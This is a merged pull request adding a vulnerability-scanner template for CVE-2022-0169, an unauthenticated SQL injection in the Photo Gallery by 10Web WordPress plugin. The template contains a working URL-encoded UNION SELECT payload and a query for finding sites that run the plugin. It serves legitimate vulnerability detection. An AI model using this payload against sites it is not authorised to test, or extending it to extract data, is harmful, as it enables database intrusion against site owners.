Merge pull request #7811 from projectdiscovery/CVE-2022-0169

Create CVE-2022-0169.yaml

http/cves/2022/CVE-2022-0169.yaml

@@ -0,0 +1,39 @@
+id: CVE-2022-0169
+
+info:
+  name: Photo Gallery by 10Web < 1.6.0 - SQL Injection
+  author: ritikchaddha,princechaddha
+  severity: critical
+  description: |
+    The Photo Gallery by 10Web WordPress plugin before 1.6.0 does not validate and escape the bwg_tag_id_bwg_thumbnails_0 parameter before using it in a SQL statement via the bwg_frontend_data AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL injection
+  remediation: This is resolved in release 1.6.0.
+  reference:
+    - https://wpscan.com/vulnerability/0b4d870f-eab8-4544-91f8-9c5f0538709c
+    - https://wordpress.org/plugins/photo-gallery/advanced/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-0169
+  classification:
+    cve-id: CVE-2022-0169
+  metadata:
+    max-request: 1
+    verified: true
+    publicwww-query: "/wp-content/plugins/photo-gallery"
+  tags: cve,cve2022,wp,wp-plugin,wordpress,sqli,photo-gallery
+
+variables:
+  num: "999999999"
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,concat(md5({{num}}),%200x2c,%208),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20--%20g"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '{{md5(num)}}'
+
+      - type: status
+        status:
+          - 200